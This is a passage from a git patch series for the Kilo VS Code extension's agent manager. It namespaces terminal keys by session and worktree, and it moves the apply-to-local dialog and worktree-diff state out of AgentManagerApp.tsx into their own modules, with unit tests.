a/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts +++ b/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts @@ -34,6 +34,8 @@ export interface Disposable { */ export class SessionTerminalManager { private static readonly LOCAL_KEY = "__local__" + private static readonly SESSION_PREFIX = "session:" + private static readonly WORKTREE_PREFIX = "worktree:" private terminals = new Map() private disposables: Disposable[] = [] @@ -47,10 +49,10 @@ export class SessionTerminalManager { ) { this.disposables.push( host.onTerminalClosed((terminal) => { - for (const [sessionId, entry] of this.terminals) { + for (const [key, entry] of this.terminals) { if (entry.terminal !== terminal) continue - this.terminals.delete(sessionId) - this.log(`Removed terminal mapping for session ${sessionId} (terminal closed)`) + this.terminals.delete(key) + this.log(`Removed terminal mapping for ${key} (terminal closed)`) break } this.updateContextKey() @@ -86,7 +88,8 @@ export class SessionTerminalManager { */ showTerminal(sessionId: string, state: WorktreeStateManager | undefined): void { // If terminal already exists, just focus it - if (this.showExisting(sessionId, false)) return + const key = SessionTerminalManager.sessionKey(sessionId) + if (this.showExistingKey(key, false)) return const repoPath = this.host.repoPath() const worktreePath = state?.directoryFor(sessionId) @@ -102,7 +105,7 @@ export class SessionTerminalManager { const worktree = session?.worktreeId ? state?.getWorktree(session.worktreeId) : undefined const name = worktree ? `Agent: ${worktree.branch}` : "Agent: local" - this.showOrCreate(sessionId, cwd, name) + this.showOrCreate(key, cwd, name) } /** @@ -110,7 +113,7 @@ export class SessionTerminalManager { * Used when the user triggers a terminal in local mode without an active session. */ showLocalTerminal(): void { - if (this.showExisting(SessionTerminalManager.LOCAL_KEY, false)) return + if (this.showExistingKey(SessionTerminalManager.LOCAL_KEY, false)) return const cwd = this.host.repoPath() if (!cwd) { @@ -129,8 +132,8 @@ export class SessionTerminalManager { * worktree. */ showWorktreeTerminal(worktreeId: string, state: WorktreeStateManager | undefined): void { - const key = `worktree:${worktreeId}` - if (this.showExisting(key, false)) return + const key = SessionTerminalManager.worktreeKey(worktreeId) + if (this.showExistingKey(key, false)) return const worktree = state?.getWorktree(worktreeId) const cwd = worktree?.path ?? this.host.repoPath() @@ -147,7 +150,7 @@ export class SessionTerminalManager { * Show the existing local terminal if one was previously created (used on context switch). */ showExistingLocal(): boolean { - return this.showExisting(SessionTerminalManager.LOCAL_KEY) + return this.showExistingKey(SessionTerminalManager.LOCAL_KEY) } /** @@ -180,34 +183,38 @@ export class SessionTerminalManager { * Pass preserveFocus=true to keep focus on the current editor (default for session switching). */ showExisting(sessionId: string, preserveFocus = true): boolean { - const entry = this.terminals.get(sessionId) + return this.showExistingKey(SessionTerminalManager.sessionKey(sessionId), preserveFocus) + } + + private showExistingKey(key: string, preserveFocus = true): boolean { + const entry = this.terminals.get(key) if (!entry) return false if (entry.terminal.exitStatus !== undefined) { - this.terminals.delete(sessionId) - this.log(`showExisting: terminal exited for session ${sessionId}, clearing`) + this.terminals.delete(key) + this.log(`showExisting: terminal exited for ${key}, clearing`) return false } entry.terminal.show(preserveFocus) this.panelOpen = true - this.log(`showExisting: revealed terminal for session ${sessionId}`) + this.log(`showExisting: revealed terminal for ${key}`) return true } - activeSession(): string | undefined { + private activeKey(): string | undefined { const active = this.host.activeTerminal() if (!active) return undefined - for (const [id, entry] of this.terminals) { - if (entry.terminal === active && entry.terminal.exitStatus === undefined) return id + for (const [key, entry] of this.terminals) { + if (entry.terminal === active && entry.terminal.exitStatus === undefined) return key } return undefined } prepareContext(sessionId: string): boolean { if (this.showExisting(sessionId)) return true - const active = this.activeSession() - return !active || active === sessionId + const active = this.activeKey() + return !active || active === SessionTerminalManager.sessionKey(sessionId) } dispose(): void { @@ -275,32 +282,40 @@ export class SessionTerminalManager { void this.host.setContext("kilo-code.agentTerminalFocus", managed) } - private showOrCreate(sessionId: string, cwd: string, name: string): void { - let entry = this.terminals.get(sessionId) + private showOrCreate(key: string, cwd: string, name: string): void { + let entry = this.terminals.get(key) // Clean up exited terminals if (entry && entry.terminal.exitStatus !== undefined) { - this.terminals.delete(sessionId) + this.terminals.delete(key) entry = undefined } // Recreate if CWD changed if (entry && entry.cwd !== cwd) { entry.terminal.dispose() - this.terminals.delete(sessionId) + this.terminals.delete(key) entry = undefined - this.log(`showTerminal: cwd changed for session ${sessionId}, recreating`) + this.log(`showTerminal: cwd changed for ${key}, recreating`) } if (!entry) { const terminal = this.host.createTerminal({ cwd, name }) entry = { terminal, cwd } - this.terminals.set(sessionId, entry) - this.log(`showTerminal: created terminal for session ${sessionId} (cwd=${cwd})`) + this.terminals.set(key, entry) + this.log(`showTerminal: created terminal for ${key} (cwd=${cwd})`) } entry.terminal.show(false) this.panelOpen = true this.updateContextKey() } + + private static sessionKey(id: string): string { + return `${SessionTerminalManager.SESSION_PREFIX}${id}` + } + + private static worktreeKey(id: string): string { + return `${SessionTerminalManager.WORKTREE_PREFIX}${id}` + } } diff --git a/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts b/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts index 8dc6e7d79c..5669acaeac 100644 --- a/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts +++ b/packages/kilo-vscode/tests/unit/session-terminal-manager.test.ts @@ -131,8 +131,8 @@ describe("SessionTerminalManager structure", () => { expect(text).toContain("panel command registration skipped") }) - it("resolves the session that owns the active managed terminal", () => { - const text = body("activeSession") + it("resolves the key that owns the active managed terminal", () => { + const text = body("activeKey") expect(text).toContain("this.host.activeTerminal()") expect(text).toContain("entry.terminal === active") }) @@ -140,7 +140,8 @@ describe("SessionTerminalManager structure", () => { it("rejects context capture from another managed session", () => { const text = body("prepareContext") expect(text).toContain("this.showExisting(sessionId)") - expect(text).toContain("this.activeSession()") + expect(text).toContain("this.activeKey()") + expect(text).toContain("SessionTerminalManager.sessionKey(sessionId)") }) }) @@ -210,6 +211,17 @@ describe("SessionTerminalManager worktree terminals", () => { expect(s.shown()).toBe(2) }) + it("keeps session and worktree terminal keys in separate namespaces", () => { + const s = scene({ worktreePath: "/repo/.kilo/worktrees/wt-1", repoPath: "/repo" }) + s.manager.showTerminal("worktree:wt-1", undefined) + s.manager.showWorktreeTerminal("wt-1", s.state) + expect(s.created).toEqual([ + { cwd: "/repo", name: "Agent: local" }, + { cwd: "/repo/.kilo/worktrees/wt-1", name: "Agent: feature/x" }, + ]) + expect(s.shown()).toBe(2) + }) + it("falls back to the repo root when the worktree is unknown", () => { const s = scene({ repoPath: "/repo" }) s.manager.showWorktreeTerminal("gone", s.state) From 4e83fb30d9170ee45f553354a1d86b41b648ad71 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 10:54:49 +0200 Subject: [PATCH 019/100] refactor(vscode): extract apply-to-local and worktree diff workflows out of AgentManagerApp (#12636) --- packages/kilo-vscode/eslint.config.mjs | 18 +- .../unit/agent-manager-worktree-diffs.test.ts | 103 ++++++ .../agent-manager/AgentManagerApp.tsx | 332 ++---------------- .../agent-manager/apply-to-local.tsx | 285 +++++++++++++++ .../agent-manager/worktree-diffs.ts | 118 +++++++ 5 files changed, 538 insertions(+), 318 deletions(-) create mode 100644 packages/kilo-vscode/tests/unit/agent-manager-worktree-diffs.test.ts create mode 100644 packages/kilo-vscode/webview-ui/agent-manager/apply-to-local.tsx create mode 100644 packages/kilo-vscode/webview-ui/agent-manager/worktree-diffs.ts diff --git a/packages/kilo-vscode/eslint.config.mjs b/packages/kilo-vscode/eslint.config.mjs index d19df68b45..97181f7f60 100644 --- a/packages/kilo-vscode/eslint.config.mjs +++ b/packages/kilo-vscode/eslint.config.mjs @@ -43,17 +43,13 @@ export default [ }, { files: ["webview-ui/agent-manager/AgentManagerApp.tsx"], - // Raised from 3100 → 3200 for the experimental terminal tabs feature. - // ~600 lines of terminal logic were extracted to ./terminal/* and - // ./tab-rendering.tsx; the remaining ~75 lines are signal bindings, - // a stacking-container wrapper required by the hydration invariant - // (canvases must never leave the paint tree — see render.tsx), and - // render-call wiring that must live at the top of - // `AgentManagerContent` alongside the existing selection/session state. - // Raised from 3200 → 3210 for the per-message feedback `FeedbackProvider` - // wiring, which sits inside the provider chain and cannot be extracted - // without adding an intermediate wrapper component. - rules: { complexity: ["error", 74], "max-lines": ["error", 3210] }, + // Complexity stays exempt: the top of `AgentManagerContent` wires many + // selection/session handlers that can't be split without threading shared + // reactive state. Line count needs no override — the apply-to-local + // workflow is extracted to ./apply-to-local.tsx, keeping the file under + // the global 3000-line default. Do not add a max-lines override back; + // extract cohesive domains out of the file instead. + rules: { complexity: ["error", 74] }, }, { files: ["src/agent-manager/AgentManagerProvider.ts"], diff --git a/packages/kilo-vscode/tests/unit/agent-manager-worktree-diffs.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-worktree-diffs.test.ts new file mode 100644 index 0000000000..5d2e5bc3e1 --- /dev/null +++ b/packages/kilo-vscode/tests/unit/agent-manager-worktree-diffs.test.ts @@ -0,0 +1,103 @@ +import { describe, expect, it } from "bun:test" +import { createRoot } from "solid-js" +import { createWorktreeDiffs } from "../../webview-ui/agent-manager/worktree-diffs" +import type { WorktreeFileDiff } from "../../webview-ui/src/types/messages" + +const diff = (file: string, additions = 1): WorktreeFileDiff => ({ + file, + before: "", + after: "", + additions, + deletions: 0, +}) + +interface Sent { + type: string + sessionId?: string + file?: string +} + +// Only `postMessage` is exercised by the diff workflow, so a recording stub is +// enough — the signals and merge/pending logic under test are the real thing. +const vscode = (sent: Sent[]) => + ({ postMessage: (msg: Sent) => sent.push(msg) }) as unknown as Parameters[0] + +const withDiffs = (fn: (diffs: ReturnType, sent: Sent[]) => void) => { + createRoot((dispose) => { + const sent: Sent[] = [] + fn(createWorktreeDiffs(vscode(sent)), sent) + dispose() + }) +} + +describe("createWorktreeDiffs", () => { + it("stores full diffs per session", () => { + withDiffs((diffs) => { + diffs.onWorktreeDiff({ type: "agentManager.worktreeDiff", sessionId: "s1", diffs: [diff("a.ts")] }) + expect(diffs.diffDatas()["s1"]).toHaveLength(1) + }) + }) + + it("does not replace state when an update produces an identical diff list", () => { + withDiffs((diffs) => { + diffs.onWorktreeDiff({ type: "agentManager.worktreeDiff", sessionId: "s1", diffs: [diff("a.ts")] }) + const before = diffs.diffDatas() + diffs.onWorktreeDiff({ type: "agentManager.worktreeDiff", sessionId: "s1", diffs: [diff("a.ts")] }) + expect(diffs.diffDatas()).toBe(before) + }) + }) + + it("replaces a single file on a diffFile message and clears its pending flag", () => { + withDiffs((diffs) => { + diffs.onWorktreeDiff({ type: "agentManager.worktreeDiff", sessionId: "s1", diffs: [diff("a.ts", 1)] }) + diffs.onWorktreeDiffFile({ + type: "agentManager.worktreeDiffFile", + sessionId: "s1", + file: "a.ts", + diff: diff("a.ts", 9), + }) + expect(diffs.diffDatas()["s1"]![0]!.additions).toBe(9) + expect(diffs.diffFileLoadingFor(() => "s1").size).toBe(0) + }) + }) + + it("tracks panel loading via diffLoading", () => { + withDiffs((diffs) => { + diffs.onWorktreeDiffLoading({ type: "agentManager.worktreeDiffLoading", sessionId: "s1", loading: true }) + expect(diffs.diffLoading()).toBe(true) + diffs.onWorktreeDiffLoading({ type: "agentManager.worktreeDiffLoading", sessionId: "s1", loading: false }) + expect(diffs.diffLoading()).toBe(false) + }) + }) + + it("requestDiffFile marks a file pending, posts once, and ignores repeats", () => { + withDiffs((diffs, sent) => { + diffs.requestDiffFile("s1", "a.ts") + diffs.requestDiffFile("s1", "a.ts") + expect(sent.filter((m) => m.type === "agentManager.requestWorktreeDiffFile")).toHaveLength(1) + expect(diffs.diffFileLoadingFor(() => "s1").has("a.ts")).toBe(true) + }) + }) + + it("refreshStaleDiffs requests only files not already loading", () => { + withDiffs((diffs, sent) => { + diffs.requestDiffFile("s1", "a.ts") + diffs.refreshStaleDiffs("s1", new Set(["a.ts", "b.ts"])) + const files = sent.filter((m) => m.type === "agentManager.requestWorktreeDiffFile").map((m) => m.file) + expect(files).toEqual(["a.ts", "b.ts"]) + }) + }) + + it("clears the session key once its last pending file resolves", () => { + withDiffs((diffs) => { + diffs.requestDiffFile("s1", "a.ts") + diffs.onWorktreeDiffFile({ + type: "agentManager.worktreeDiffFile", + sessionId: "s1", + file: "a.ts", + diff: diff("a.ts"), + }) + expect(diffs.diffFileLoadingFor(() => "s1").size).toBe(0) + }) + }) +}) diff --git a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx index 44b7e57832..2274560f54 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx @@ -24,8 +24,6 @@ import type { AgentManagerWorktreeDiffFileMessage, AgentManagerWorktreeDiffLoadingMessage, AgentManagerApplyWorktreeDiffResultMessage, - AgentManagerApplyWorktreeDiffStatus, - AgentManagerApplyWorktreeDiffConflict, AgentManagerWorktreeStatsMessage, AgentManagerLocalStatsMessage, WorktreeFileDiff, @@ -134,8 +132,8 @@ import { useTabScroll } from "./tab-scroll" import { DiffPanel } from "./DiffPanel" import { createRevertFile } from "./revert-file" import { FullScreenDiffView } from "../diff-viewer/FullScreenDiffView" -import { ApplyDialog } from "./ApplyDialog" -import { groupApplyConflicts } from "./apply-conflicts" +import { createApplyToLocal } from "./apply-to-local" +import { createWorktreeDiffs } from "./worktree-diffs" import type { ReviewComment } from "../diff-viewer/review-comments" import { clearReviewComposer, createReviewComposer } from "../diff-viewer/review-annotations" import type { SidebarSearchMenuRef } from "./SidebarSearchMenu" @@ -158,7 +156,6 @@ import { } from "./section-helpers" import { sectionAwareDetector } from "./section-dnd" import { ConstrainDragXAxis } from "./constrain-drag-x" -import { mergeWorktreeDiffs } from "../diff-viewer/diff-state" import { initialMessage, seedInitialVariant } from "./initial-message" import { createMarkdownRender } from "./review-preferences" import { createSidebarCollapse } from "./sidebar-collapse" @@ -185,12 +182,6 @@ interface WorktreeBusyState { message?: string branch?: string } - -interface ApplyState { - status: AgentManagerApplyWorktreeDiffStatus - message: string - conflicts: AgentManagerApplyWorktreeDiffConflict[] -} /** Sidebar selection: LOCAL for local repo, worktree ID for a worktree, or null for an unassigned session. */ type SidebarSelection = typeof LOCAL | string | null type SidePanel = "diff" | "pr" | "terminal" | null @@ -286,9 +277,10 @@ const AgentManagerContent: Component = () => { const [history, setHistory] = createSignal(false) const [sidePanel, setSidePanel] = createSignal(null) const diffOpen = () => sidePanel() === "diff" - const [diffDatas, setDiffDatas] = createSignal>({}) - const [diffLoading, setDiffLoading] = createSignal(false) - const [diffFileLoading, setDiffFileLoading] = createSignal>>({}) + const diffs = createWorktreeDiffs(vscode) + const diffDatas = diffs.diffDatas + const diffLoading = diffs.diffLoading + const setDiffLoading = diffs.setDiffLoading // The diff and terminal panels each remember their own width: a diff // benefits from half the window, a terminal only needs about a third. const TERMINAL_MIN_WIDTH = 360 @@ -335,12 +327,6 @@ const AgentManagerContent: Component = () => { // Local repo git stats (branch name, diff additions/deletions, commits) const [localStats, setLocalStats] = createSignal() - // Per-worktree apply-to-local status - const [applyStates, setApplyStates] = createSignal>({}) - const [applyTarget, setApplyTarget] = createSignal() - const [applySelectedFiles, setApplySelectedFiles] = createSignal([]) - const [applySelectionTouched, setApplySelectionTouched] = createSignal(false) - const PENDING_PREFIX = "pending:" const closedDrafts = new Set() const [activePendingId, setActivePendingId] = createSignal() @@ -395,12 +381,6 @@ const AgentManagerContent: Component = () => { setReviewCommentsByContext((prev) => ({ ...prev, [sel]: comments })) } - const applyStateForSelection = createMemo(() => { - const sel = selection() - if (!sel || sel === LOCAL) return undefined - return applyStates()[sel] - }) - const resolveWorktreeSessionId = (worktreeId: string) => { const id = session.currentSessionID() if (id) { @@ -410,157 +390,19 @@ const AgentManagerContent: Component = () => { return managedSessions().find((entry) => entry.worktreeId === worktreeId)?.id } - const applyTargetSessionId = createMemo(() => { - const target = applyTarget() - if (!target) return undefined - return resolveWorktreeSessionId(target) + const apply = createApplyToLocal({ + vscode, + dialog, + t, + selection, + local: LOCAL, + worktrees, + diffDatas, + diffLoading, + resolveWorktreeSessionId, + track: metrics.track, }) - - const applyDiffs = createMemo(() => { - const target = applyTarget() - if (!target) return [] as WorktreeFileDiff[] - const data = diffDatas() - const current = applyTargetSessionId() - if (current && data[current]) return data[current]! - const ids = managedSessions() - .filter((entry) => entry.worktreeId === target) - .map((entry) => entry.id) - for (const id of ids) { - if (data[id]) return data[id]! - } - return [] as WorktreeFileDiff[] - }) - - const applyStateForTarget = createMemo(() => { - const target = applyTarget() - if (!target) return undefined - return applyStates()[target] - }) - - const applyBusyForTarget = createMemo(() => { - const state = applyStateForTarget() - if (!state) return false - return state.status === "checking" || state.status === "applying" - }) - - const applySelectedSet = createMemo(() => new Set(applySelectedFiles())) - - const applySelectionStats = createMemo(() => { - const set = applySelectedSet() - const selected = applyDiffs().filter((diff) => set.has(diff.file)) - const additions = selected.reduce((sum, diff) => sum + diff.additions, 0) - const deletions = selected.reduce((sum, diff) => sum + diff.deletions, 0) - return { - total: applyDiffs().length, - selected: selected.length, - additions, - deletions, - } - }) - - const applyHasSelection = createMemo(() => applySelectionStats().selected > 0) - - const applyConflictRows = createMemo(() => groupApplyConflicts(applyStateForTarget()?.conflicts ?? [])) - - const applyToLocal = (worktreeId: string, selectedFiles: string[]) => { - setApplyStates((prev) => ({ - ...prev, - [worktreeId]: { - status: "checking", - message: t("agentManager.apply.checking"), - conflicts: [], - }, - })) - vscode.postMessage({ type: "agentManager.applyWorktreeDiff", worktreeId, selectedFiles }) - } - - const resetApplyDialog = () => { - setApplyTarget(undefined) - setApplySelectedFiles([]) - setApplySelectionTouched(false) - } - - const closeApplyDialog = () => { - resetApplyDialog() - dialog.close() - } - - const applySelectAll = () => { - setApplySelectionTouched(true) - setApplySelectedFiles(applyDiffs().map((diff) => diff.file)) - } - - const applySelectNone = () => { - setApplySelectionTouched(true) - setApplySelectedFiles([]) - } - - const applyToggleFile = (file: string, checked: boolean) => { - setApplySelectionTouched(true) - setApplySelectedFiles((prev) => { - if (checked) { - if (prev.includes(file)) return prev - const set = new Set(prev) - set.add(file) - return applyDiffs() - .map((diff) => diff.file) - .filter((path) => set.has(path)) - } - if (!prev.includes(file)) return prev - return prev.filter((path) => path !== file) - }) - } - - const triggerApply = () => { - const target = applyTarget() - if (!target) return - if (!applyHasSelection()) return - if (applyBusyForTarget()) return - metrics.track("apply_to_local", "apply_dialog", { fileCount: applySelectedFiles().length }) - applyToLocal(target, applySelectedFiles()) - } - - const openApplyDialog = () => { - const sel = selection() - if (!sel || sel === LOCAL) return - setApplyStates((prev) => { - if (!prev[sel]) return prev - const next = { ...prev } - delete next[sel] - return next - }) - setApplyTarget(sel) - setApplySelectionTouched(false) - setApplySelectedFiles([]) - const sid = resolveWorktreeSessionId(sel) - if (sid) vscode.postMessage({ type: "agentManager.requestWorktreeDiff", sessionId: sid }) - - setApplySelectedFiles(applyDiffs().map((diff) => diff.file)) - - dialog.show( - () => ( - - ), - resetApplyDialog, - ) - } + const openApplyDialog = apply.openApplyDialog const openWorktreeDirectory = () => { const sel = selection() @@ -592,31 +434,6 @@ const AgentManagerContent: Component = () => { if (sel) runWorktree(sel) } - createEffect( - on( - () => [applyTarget(), applyDiffs(), applySelectionTouched()] as const, - ([target, diffs, touched]) => { - if (!target) return - const files = diffs.map((diff) => diff.file) - if (files.length === 0) { - if (!touched) setApplySelectedFiles([]) - return - } - - if (!touched) { - setApplySelectedFiles(files) - return - } - - const current = applySelectedFiles() - const set = new Set(current) - const next = files.filter((file) => set.has(file)) - const same = next.length === current.length && next.every((file, index) => file === current[index]) - if (!same) setApplySelectedFiles(next) - }, - ), - ) - const isPending = (id: string) => id.startsWith(PENDING_PREFIX) reportRemoteSessions(vscode, localSessionIDs, managedSessions, isPending) @@ -732,14 +549,6 @@ const AgentManagerContent: Component = () => { if (Object.keys(next).length === Object.keys(prev).length) return prev return next }) - setApplyStates((prev) => { - const next = Object.fromEntries(Object.entries(prev).filter(([id]) => ids.has(id))) - if (Object.keys(next).length === Object.keys(prev).length) return prev - return next - }) - - const target = applyTarget() - if (target && !ids.has(target)) closeApplyDialog() }) const worktreeSessionIds = createMemo( @@ -1508,65 +1317,19 @@ const AgentManagerContent: Component = () => { } if (msg.type === "agentManager.worktreeDiff") { - const ev = msg as AgentManagerWorktreeDiffMessage - let staleFiles: Set | undefined - setDiffDatas((prev) => { - const existing = prev[ev.sessionId] - const merged = existing - ? mergeWorktreeDiffs(existing, ev.diffs) - : { diffs: ev.diffs, stale: new Set() } - staleFiles = merged.stale - const next = merged.diffs - if (existing && existing.length === next.length && existing.every((old, i) => old === next[i])) return prev - return { ...prev, [ev.sessionId]: next } - }) - if (staleFiles) refreshStaleDiffs(ev.sessionId, staleFiles) + diffs.onWorktreeDiff(msg as AgentManagerWorktreeDiffMessage) } if (msg.type === "agentManager.worktreeDiffFile") { - const ev = msg as AgentManagerWorktreeDiffFileMessage - if (ev.diff) { - setDiffDatas((prev) => { - const existing = prev[ev.sessionId] ?? [] - const next = existing.map((item) => (item.file === ev.diff!.file ? ev.diff! : item)) - return { ...prev, [ev.sessionId]: next } - }) - setDiffFilePending(ev.sessionId, ev.diff.file, false) - return - } - setDiffFilePending(ev.sessionId, ev.file, false) + diffs.onWorktreeDiffFile(msg as AgentManagerWorktreeDiffFileMessage) } if (msg.type === "agentManager.worktreeDiffLoading") { - const ev = msg as AgentManagerWorktreeDiffLoadingMessage - setDiffLoading(ev.loading) + diffs.onWorktreeDiffLoading(msg as AgentManagerWorktreeDiffLoadingMessage) } if (msg.type === "agentManager.applyWorktreeDiffResult") { - const ev = msg as AgentManagerApplyWorktreeDiffResultMessage - const files = new Set((ev.conflicts ?? []).map((entry) => entry.file).filter(Boolean)).size - const count = ev.conflicts?.length ?? 0 - setApplyStates((prev) => ({ - ...prev, - [ev.worktreeId]: { - status: ev.status, - message: ev.message, - conflicts: ev.conflicts ?? [], - }, - })) - - if (ev.status === "success") { - showToast({ variant: "success", title: t("agentManager.apply.success"), description: ev.message }) - if (applyTarget() === ev.worktreeId) closeApplyDialog() - } - if (ev.status === "conflict") { - const summary = - count > 0 ? t("agentManager.apply.conflictToast", { count, files: Math.max(files, 1) }) : ev.message - showToast({ variant: "error", title: t("agentManager.apply.conflict"), description: summary }) - } - if (ev.status === "error") { - showToast({ variant: "error", title: t("agentManager.apply.error"), description: ev.message }) - } + apply.onApplyResult(msg as AgentManagerApplyWorktreeDiffResultMessage) } if (msg.type === "agentManager.revertWorktreeFileResult") revertCtl.onResult(msg as never) @@ -1723,54 +1486,13 @@ const AgentManagerContent: Component = () => { vscode.postMessage({ type: "agentManager.setReviewDiffStyle", style }) } - const setDiffFilePending = (sessionId: string, file: string, value: boolean) => { - setDiffFileLoading((prev) => { - const session = prev[sessionId] ?? {} - if (value) { - if (session[file]) return prev - return { - ...prev, - [sessionId]: { ...session, [file]: true }, - } - } - - if (!session[file]) return prev - const next = { ...session } - delete next[file] - if (Object.keys(next).length === 0) { - const result = { ...prev } - delete result[sessionId] - return result - } - return { - ...prev, - [sessionId]: next, - } - }) - } - const requestDiffFile = (file: string) => { const sessionId = currentDiffSessionId() if (!sessionId) return - if (diffFileLoading()[sessionId]?.[file]) return - setDiffFilePending(sessionId, file, true) - vscode.postMessage({ type: "agentManager.requestWorktreeDiffFile", sessionId, file }) + diffs.requestDiffFile(sessionId, file) } - const refreshStaleDiffs = (sessionId: string, files: Set) => { - const loading = diffFileLoading()[sessionId] ?? {} - for (const file of files) { - if (loading[file]) continue - setDiffFilePending(sessionId, file, true) - vscode.postMessage({ type: "agentManager.requestWorktreeDiffFile", sessionId, file }) - } - } - - const diffFileLoadingForCurrent = createMemo(() => { - const sessionId = currentDiffSessionId() - if (!sessionId) return new Set() - return new Set(Object.keys(diffFileLoading()[sessionId] ?? {})) - }) + const diffFileLoadingForCurrent = createMemo(() => diffs.diffFileLoadingFor(currentDiffSessionId)) const revertCtl = createRevertFile(currentDiffSessionId, vscode, showToast, t) @@ -2766,11 +2488,7 @@ const AgentManagerContent: Component = () => { const s = stats() return s && (s.files > 0 || s.additions > 0 || s.deletions > 0) } - const applyBusy = () => { - const state = applyStateForSelection() - if (!state) return false - return state.status === "checking" || state.status === "applying" - } + const applyBusy = apply.applyBusyForSelection return ( <> diff --git a/packages/kilo-vscode/webview-ui/agent-manager/apply-to-local.tsx b/packages/kilo-vscode/webview-ui/agent-manager/apply-to-local.tsx new file mode 100644 index 0000000000..202427e8e7 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/agent-manager/apply-to-local.tsx @@ -0,0 +1,285 @@ +/** @jsxImportSource solid-js */ + +/** + * Apply-to-local workflow for Agent Manager. + * + * Owns everything about applying a selected worktree's diff into the local + * repo: the per-worktree apply status, the dialog's file selection state, the + * derived memos that drive `ApplyDialog`, and the result/toast handling for + * the backend's `applyWorktreeDiffResult` message. Extracted from + * `AgentManagerApp.tsx` so the app component only wires the workflow in. + */ + +import { createEffect, createMemo, createSignal, on, type Accessor } from "solid-js" +import { showToast } from "@kilocode/kilo-ui/toast" +import { groupApplyConflicts } from "./apply-conflicts" +import { ApplyDialog } from "./ApplyDialog" +import type { tracker } from "./telemetry" +import type { useDialog } from "@kilocode/kilo-ui/context/dialog" +import type { useLanguage } from "../src/context/language" +import type { useVSCode } from "../src/context/vscode" +import type { AgentManagerApplyWorktreeDiffResultMessage, WorktreeFileDiff } from "../src/types/messages" + +interface ApplyState { + status: AgentManagerApplyWorktreeDiffResultMessage["status"] + message: string + conflicts: NonNullable +} + +interface ApplyToLocalOptions { + vscode: ReturnType + dialog: ReturnType + t: ReturnType["t"] + /** Current sidebar selection (LOCAL, a worktree id, or null). */ + selection: Accessor + /** Sentinel id for the local repo selection. */ + local: string + worktrees: Accessor<{ id: string }[]> + diffDatas: Accessor> + diffLoading: Accessor + resolveWorktreeSessionId: (worktreeId: string) => string | undefined + /** Telemetry: metrics.track(name, surface, data). */ + track: ReturnType["track"] +} + +export function createApplyToLocal(opts: ApplyToLocalOptions) { + const { vscode, dialog, t, selection, local, worktrees, diffDatas, diffLoading } = opts + + const [applyStates, setApplyStates] = createSignal>({}) + const [applyTarget, setApplyTarget] = createSignal() + const [applySelectedFiles, setApplySelectedFiles] = createSignal([]) + const [applySelectionTouched, setApplySelectionTouched] = createSignal(false) + + const applyStateForSelection = createMemo(() => { + const sel = selection() + if (!sel || sel === local) return undefined + return applyStates()[sel] + }) + + const applyBusyForSelection = createMemo(() => { + const state = applyStateForSelection() + if (!state) return false + return state.status === "checking" || state.status === "applying" + }) + + const applyTargetSessionId = createMemo(() => { + const target = applyTarget() + if (!target) return undefined + return opts.resolveWorktreeSessionId(target) + }) + + const applyDiffs = createMemo(() => { + const target = applyTarget() + if (!target) return [] as WorktreeFileDiff[] + const data = diffDatas() + const current = applyTargetSessionId() + if (current && data[current]) return data[current]! + return [] as WorktreeFileDiff[] + }) + + const applyStateForTarget = createMemo(() => { + const target = applyTarget() + if (!target) return undefined + return applyStates()[target] + }) + + const applyBusyForTarget = createMemo(() => { + const state = applyStateForTarget() + if (!state) return false + return state.status === "checking" || state.status === "applying" + }) + + const applySelectedSet = createMemo(() => new Set(applySelectedFiles())) + + const applySelectionStats = createMemo(() => { + const set = applySelectedSet() + const selected = applyDiffs().filter((diff) => set.has(diff.file)) + const additions = selected.reduce((sum, diff) => sum + diff.additions, 0) + const deletions = selected.reduce((sum, diff) => sum + diff.deletions, 0) + return { + total: applyDiffs().length, + selected: selected.length, + additions, + deletions, + } + }) + + const applyHasSelection = createMemo(() => applySelectionStats().selected > 0) + + const applyConflictRows = createMemo(() => groupApplyConflicts(applyStateForTarget()?.conflicts ?? [])) + + const applyToLocal = (worktreeId: string, selectedFiles: string[]) => { + setApplyStates((prev) => ({ + ...prev, + [worktreeId]: { + status: "checking", + message: t("agentManager.apply.checking"), + conflicts: [], + }, + })) + vscode.postMessage({ type: "agentManager.applyWorktreeDiff", worktreeId, selectedFiles }) + } + + const resetApplyDialog = () => { + setApplyTarget(undefined) + setApplySelectedFiles([]) + setApplySelectionTouched(false) + } + + const closeApplyDialog = () => { + resetApplyDialog() + dialog.close() + } + + const applySelectAll = () => { + setApplySelectionTouched(true) + setApplySelectedFiles(applyDiffs().map((diff) => diff.file)) + } + + const applySelectNone = () => { + setApplySelectionTouched(true) + setApplySelectedFiles([]) + } + + const applyToggleFile = (file: string, checked: boolean) => { + setApplySelectionTouched(true) + setApplySelectedFiles((prev) => { + if (checked) { + if (prev.includes(file)) return prev + const set = new Set(prev) + set.add(file) + return applyDiffs() + .map((diff) => diff.file) + .filter((path) => set.has(path)) + } + if (!prev.includes(file)) return prev + return prev.filter((path) => path !== file) + }) + } + + const triggerApply = () => { + const target = applyTarget() + if (!target) return + if (!applyHasSelection()) return + if (applyBusyForTarget()) return + opts.track("apply_to_local", "apply_dialog", { fileCount: applySelectedFiles().length }) + applyToLocal(target, applySelectedFiles()) + } + + const openApplyDialog = () => { + const sel = selection() + if (!sel || sel === local) return + setApplyStates((prev) => { + if (!prev[sel]) return prev + const next = { ...prev } + delete next[sel] + return next + }) + setApplyTarget(sel) + setApplySelectionTouched(false) + setApplySelectedFiles([]) + const sid = opts.resolveWorktreeSessionId(sel) + if (sid) vscode.postMessage({ type: "agentManager.requestWorktreeDiff", sessionId: sid }) + + setApplySelectedFiles(applyDiffs().map((diff) => diff.file)) + + dialog.show( + () => ( + + ), + resetApplyDialog, + ) + } + + // Keep the dialog selection in step with the diff set: select everything on + // first load, then drop files that disappear from the diff without clobbering + // a selection the user has already made. + createEffect( + on( + () => [applyTarget(), applyDiffs(), applySelectionTouched()] as const, + ([target, diffs, touched]) => { + if (!target) return + const files 